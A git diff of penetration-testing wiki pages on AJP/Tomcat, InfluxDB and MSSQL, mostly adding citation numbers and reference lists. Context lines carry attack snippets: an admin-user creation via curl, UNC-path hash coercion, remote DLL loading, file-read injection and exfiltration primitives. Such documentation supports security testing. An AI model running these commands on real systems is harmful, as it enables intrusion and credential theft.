-[Doyensec's AJPFuzzer](https://github.com/doyensec/ajpfuzzer) is very useful when you need to craft `ForwardRequest` packets, brute-force secrets, or fuzz request attributes instead of just replaying normal HTTP semantics.
+[Doyensec's AJPFuzzer](https://github.com/doyensec/ajpfuzzer) is very useful when you need to craft `ForwardRequest` packets, brute-force secrets, or fuzz request attributes instead of just replaying normal HTTP semantics.[[2]](#references)
```bash
# Reproduce Ghostcat-style file disclosure primitives
@@ -71,7 +71,7 @@ genericfuzz 2 "HTTP/1.1" "/" "127.0.0.1" "127.0.0.1" "127.0.0.1" 8009 false \
## Request Attributes Abuse
-AJP is not just "HTTP over another port". The protocol can carry **trusted request attributes** such as authenticated user information, TLS details, client certificate material, and arbitrary `req_attribute` name/value pairs. Historically, Ghostcat abused `javax.servlet.include.servlet_path` and `javax.servlet.include.path_info` to force server-side includes such as `/WEB-INF/web.xml`.
+AJP is not just "HTTP over another port". The protocol can carry **trusted request attributes** such as authenticated user information, TLS details, client certificate material, and arbitrary `req_attribute` name/value pairs. Historically, Ghostcat abused `javax.servlet.include.servlet_path` and `javax.servlet.include.path_info` to force server-side includes such as `/WEB-INF/web.xml`.[[2]](#references)
When assessing an AJP-exposed target, look for applications that make security decisions based on proxy-supplied data such as:
@@ -158,7 +158,9 @@ ProxyPassReverse / ajp://:8009/
## References
-- [https://tomcat.apache.org/tomcat-9.0-doc/config/ajp.html](https://tomcat.apache.org/tomcat-9.0-doc/config/ajp.html)
-- [https://blog.doyensec.com/2022/11/15/learning-ajp.html](https://blog.doyensec.com/2022/11/15/learning-ajp.html)
+- [1] [Apache Tomcat 9 AJP Connector configuration reference](https://tomcat.apache.org/tomcat-9.0-doc/config/ajp.html)
+- [2] [Doyensec - Learning AJP](https://blog.doyensec.com/2022/11/15/learning-ajp.html)
+- [3] [DiabloHorn - 8009, the forgotten Tomcat port](https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/)
+- [4] [Chaitin - Ghostcat (CVE-2020-1938)](https://www.chaitin.cn/en/ghostcat)
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/8086-pentesting-influxdb.md b/src/network-services-pentesting/8086-pentesting-influxdb.md
index 654eb9cc2f4..4c29bdef7d1 100644
--- a/src/network-services-pentesting/8086-pentesting-influxdb.md
+++ b/src/network-services-pentesting/8086-pentesting-influxdb.md
@@ -16,7 +16,7 @@ PORT STATE SERVICE VERSION
## Identify & Version (HTTP)
- v1.x: `GET /ping` returns status 204 and headers like `X-Influxdb-Version` and `X-Influxdb-Build`.
-- v2.x+: `GET /health` returns JSON with the server version and status. Works without auth.
+- v2.x+: `GET /health` returns JSON with the server version and status. Works without auth.[[1]](#references)
```bash
# v1 banner grab
@@ -93,7 +93,7 @@ curl -sG "http://:8086/query" \
--data-urlencode "q=CREATE USER hacker WITH PASSWORD 'P@ssw0rd!' WITH ALL PRIVILEGES"
```
-The information of the following CLI example was taken from [**here**](https://oznetnerd.com/2017/06/11/getting-know-influxdb/).
+The information of the following CLI example was taken from [**here**](https://oznetnerd.com/2017/06/11/getting-know-influxdb/).[[3]](#references)
#### Show databases
@@ -204,7 +204,7 @@ msf6 > use auxiliary/scanner/http/influxdb_enum
### Recent vulns and privesc of interest (last years)
-- InfluxDB OSS 2.x through 2.7.11 operator token exposure (CVE-2024-30896). Under specific conditions, an authenticated user with read access to the authorization resource in the default organization could list and retrieve the instance-wide operator token (e.g., via `influx auth ls` or `GET /api/v2/authorizations`). With that token, the attacker can administrate the instance (buckets, tokens, users) and access all data across orgs. Upgrade to a fixed build when available and avoid placing regular users in the default org. Quick test:
+- InfluxDB OSS 2.x through 2.7.11 operator token exposure (CVE-2024-30896). Under specific conditions, an authenticated user with read access to the authorization resource in the default organization could list and retrieve the instance-wide operator token (e.g., via `influx auth ls` or `GET /api/v2/authorizations`). With that token, the attacker can administrate the instance (buckets, tokens, users) and access all data across orgs. Upgrade to a fixed build when available and avoid placing regular users in the default org.[[2]](#references) Quick test:
```bash
# Using a low-priv/all-access token tied to the default org
@@ -219,6 +219,8 @@ curl -s -H 'Authorization: Token ' \
## References
-- InfluxData docs: InfluxDB v1/v2 HTTP API reference (endpoints like `/ping`, `/health`, `/query`, `/api/v2/authorizations`).
-- CVE-2024-30896 operator token exposure in InfluxDB OSS 2.x.
+- [1] [InfluxData docs: InfluxDB v1/v2 HTTP API reference (endpoints like `/ping`, `/health`, `/query`, `/api/v2/authorizations`)](https://docs.influxdata.com/influxdb/v1/tools/api/)
+- [2] [CVE-2024-30896 operator token exposure in InfluxDB OSS 2.x (Wiz)](https://www.wiz.io/vulnerability-database/cve/cve-2024-30896)
+- [3] [Getting to know InfluxDB (oznetnerd)](https://oznetnerd.com/2017/06/11/getting-know-influxdb/)
+
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md
index a2d388f28fc..6a12992cd0a 100644
--- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md
+++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md
@@ -298,7 +298,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "c
### WMI-based remote SQL collection (sqlcmd + CSV export)
-Operators can pivot from an IIS/app tier to SQL Servers using WMI to execute a small batch that authenticates to MSSQL and runs ad‑hoc queries, exporting results to CSV. This keeps collection simple and blends with admin activity.
+Operators can pivot from an IIS/app tier to SQL Servers using WMI to execute a small batch that authenticates to MSSQL and runs ad‑hoc queries, exporting results to CSV. This keeps collection simple and blends with admin activity.[[1]](#references)
Example mssq.bat
```bat
@@ -339,7 +339,7 @@ SELECT * FROM master.sys.syslogins;
### Steal NetNTLM hash / Relay attack
-You should start a **SMB server** to capture the hash used in the authentication (`impacket-smbserver` or `responder` for example).
+You should start a **SMB server** to capture the hash used in the authentication (`impacket-smbserver` or `responder` for example).[[15]](#references)
```bash
xp_dirtree '\\\any\thing'
@@ -403,7 +403,7 @@ ticketer.py -nthash -domain-sid -domain -sp
KRB5CCNAME=.ccache mssqlclient.py -no-pass -k
```
-- Enable `xp_cmdshell` if needed; commands run as the SQL Server service account even when impersonating via the forged ticket.
+- Enable `xp_cmdshell` if needed; commands run as the SQL Server service account even when impersonating via the forged ticket.[[3]](#references)
### Abusing MSSQL trusted Links
@@ -416,7 +416,7 @@ KRB5CCNAME=.ccache mssqlclient.py -no-pass -k
#### Linked-server credential mapping -> remote `sysadmin` -> OS RCE
-Linked servers can be configured with a **non-self login mapping** (`Local Login` -> `Remote Login`). In that case, a low-privileged login on the first SQL Server can execute queries on the second one **as the mapped remote principal**. This works the same way even when the linked instance lives in **another domain or forest**.
+Linked servers can be configured with a **non-self login mapping** (`Local Login` -> `Remote Login`). In that case, a low-privileged login on the first SQL Server can execute queries on the second one **as the mapped remote principal**. This works the same way even when the linked instance lives in **another domain or forest**.[[2]](#references)
First enumerate the links and their mappings:
@@ -491,7 +491,7 @@ By default, `MSSQL` allows file **read on any file in the operating system to wh
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
```
-However, the **`BULK`** option requires the **`ADMINISTER BULK OPERATIONS`** or the **`ADMINISTER DATABASE BULK OPERATIONS`** permission.
+However, the **`BULK`** option requires the **`ADMINISTER BULK OPERATIONS`** or the **`ADMINISTER DATABASE BULK OPERATIONS`** permission.[[12]](#references)
```sql
# Check if you have it
@@ -507,7 +507,7 @@ https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\w
### SQL Server 2025 AI / REST abuse
-SQL Server 2025 adds **database-native outbound HTTPS** and **external embedding model** support, which creates new exfiltration, coercion, persistence, and C2 primitives.
+SQL Server 2025 adds **database-native outbound HTTPS** and **external embedding model** support, which creates new exfiltration, coercion, persistence, and C2 primitives.[[5]](#references)[[6]](#references)
#### `sp_invoke_external_rest_endpoint` for HTTPS exfiltration
@@ -520,7 +520,7 @@ EXECUTE sp_configure 'external rest endpoint enabled', 1;
RECONFIGURE WITH OVERRIDE;
```
-- The caller needs **`EXECUTE ANY EXTERNAL ENDPOINT`**.
+- The caller needs **`EXECUTE ANY EXTERNAL ENDPOINT`**.[[7]](#references)
- Requests must use **HTTPS/TLS** with a valid certificate chain.
- Sent/received payloads can reach **100 MB**, making chunked table dumps practical.
@@ -589,9 +589,9 @@ SELECT AI_GENERATE_EMBEDDINGS(N'checkin' USE MODEL attacker_model);
Useful permission notes:
-- Creating/altering models requires **`CREATE EXTERNAL MODEL`** or **`ALTER ANY EXTERNAL MODEL`**.
+- Creating/altering models requires **`CREATE EXTERNAL MODEL`** or **`ALTER ANY EXTERNAL MODEL`**.[[8]](#references)
- A principal needs **`EXECUTE`** on the external model to use it.
-- `AI_GENERATE_EMBEDDINGS` also depends on **`external rest endpoint enabled`**.
+- `AI_GENERATE_EMBEDDINGS` also depends on **`external rest endpoint enabled`**.[[9]](#references)
#### NetNTLM coercion via ONNX Runtime UNC paths
@@ -682,7 +682,7 @@ EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
```
-For **more examples** check out the [**original source**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
+For **more examples** check out the [**original source**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).[[16]](#references)
### RCE with MSSQL User Defined Function - SQLHttp
@@ -692,7 +692,7 @@ It's possible to **load a .NET dll within MSSQL with custom functions**. This, h
### RCE with `autoadmin_task_agents`
-According[ **to this post**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), it's also possible to load a remote dll and make MSSQL execute it with something like:
+According[ **to this post**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), it's also possible to load a remote dll and make MSSQL execute it with something like:[[18]](#references)
```sql
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
@@ -758,7 +758,7 @@ There are other methods to get command execution, such as adding [extended store
### From db_owner to sysadmin
-If a **regular user** is given the role **`db_owner`** over the **database owned by an admin** user (such as **`sa`**) and that database is configured as **`trustworthy`**, that user can abuse these privileges to **privesc** because **stored procedures** created in there that can **execute** as the owner (**admin**).
+If a **regular user** is given the role **`db_owner`** over the **database owned by an admin** user (such as **`sa`**) and that database is configured as **`trustworthy`**, that user can abuse these privileges to **privesc** because **stored procedures** created in there that can **execute** as the owner (**admin**).[[13]](#references)
```sql
# Get owners of databases
@@ -810,7 +810,7 @@ Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlSer
### Impersonation of other users
-SQL Server has a special permission, named **`IMPERSONATE`**, that **allows the executing user to take on the permissions of another user** or login until the context is reset or the session ends.
+SQL Server has a special permission, named **`IMPERSONATE`**, that **allows the executing user to take on the permissions of another user** or login until the context is reset or the session ends.[[14]](#references)
```sql
# Find users you can impersonate
@@ -904,24 +904,24 @@ You probably will be able to **escalate to Administrator** following one of thes
## References
-- [Unit 42 – Phantom Taurus: WMI-driven direct SQL collection via batch/sqlcmd](https://unit42.paloaltonetworks.com/phantom-taurus/)
-- [HTB: DarkZero - linked-server credential mapping to cross-forest RCE](https://0xdf.gitlab.io/2026/04/04/htb-darkzero.html)
-- [HTB: Signed - MSSQL coercion to silver ticket sysadmin](https://0xdf.gitlab.io/2026/02/07/htb-signed.html)
-- [Microsoft Learn - sp_helplinkedsrvlogin (Transact-SQL)](https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-helplinkedsrvlogin-transact-sql)
-- [SpecterOps - Oops, I Weaponized the Database: Abusing AI Features in SQL Server 2025](https://specterops.io/blog/2026/06/10/oops-i-weaponized-the-database-abusing-ai-features-in-mssql-2025)
-- [gershsec/mssql2025-poc](https://github.com/gershsec/mssql2025-poc)
-- [Microsoft Learn - sp_invoke_external_rest_endpoint (Transact-SQL)](https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-invoke-external-rest-endpoint-transact-sql?view=sql-server-ver17)
-- [Microsoft Learn - CREATE EXTERNAL MODEL (Transact-SQL)](https://learn.microsoft.com/en-us/sql/t-sql/statements/create-external-model-transact-sql?view=sql-server-ver17)
-- [Microsoft Learn - AI_GENERATE_EMBEDDINGS (Transact-SQL)](https://learn.microsoft.com/en-us/sql/t-sql/functions/ai-generate-embeddings-transact-sql?view=sql-server-ver17)
-- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
-- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
-- [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
-- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
-- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
-- [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
-- [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
-- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
-- [https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
+- [1] [Unit 42 – Phantom Taurus: WMI-driven direct SQL collection via batch/sqlcmd](https://unit42.paloaltonetworks.com/phantom-taurus/)
+- [2] [HTB: DarkZero - linked-server credential mapping to cross-forest RCE](https://0xdf.gitlab.io/2026/04/04/htb-darkzero.html)
+- [3] [HTB: Signed - MSSQL coercion to silver ticket sysadmin](https://0xdf.gitlab.io/2026/02/07/htb-signed.html)
+- [4] [Microsoft Learn - sp_helplinkedsrvlogin (Transact-SQL)](https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-helplinkedsrvlogin-transact-sql)
+- [5] [SpecterOps - Oops, I Weaponized the Database: Abusing AI Features in SQL Server 2025](https://specterops.io/blog/2026/06/10/oops-i-weaponized-the-database-abusing-ai-features-in-mssql-2025)
+- [6] [gershsec/mssql2025-poc](https://github.com/gershsec/mssql2025-poc)
+- [7] [Microsoft Learn - sp_invoke_external_rest_endpoint (Transact-SQL)](https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-invoke-external-rest-endpoint-transact-sql?view=sql-server-ver17)
+- [8] [Microsoft Learn - CREATE EXTERNAL MODEL (Transact-SQL)](https://learn.microsoft.com/en-us/sql/t-sql/statements/create-external-model-transact-sql?view=sql-server-ver17)
+- [9] [Microsoft Learn - AI_GENERATE_EMBEDDINGS (Transact-SQL)](https://learn.microsoft.com/en-us/sql/t-sql/functions/ai-generate-embeddings-transact-sql?view=sql-server-ver17)
+- [10] [How to get the list of all database users - Stack Overflow](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
+- [11] [SQL Server Login User Permissions with fn_my_permissions - MSSQLTips](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
+- [12] [Advanced MSSQL Injection Tricks - PT SWARM](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
+- [13] [Hacking SQL Server Stored Procedures - Part 1: (Un)Trustworthy Databases - NetSPI](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
+- [14] [Hacking SQL Server Stored Procedures - Part 2: User Impersonation - NetSPI](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
+- [15] [Executing SMB Relay Attacks via SQL Server using Metasploit - NetSPI](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
+- [16] [Working with the Registry from SQL Server - Wayne Sheffield](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
+- [17] [GOADv2 pwning - part 12 - mayfly277](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
+- [18] [SQL Server exploitation notes - exploit7 (translated)](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
## HackTricks Automatic Commands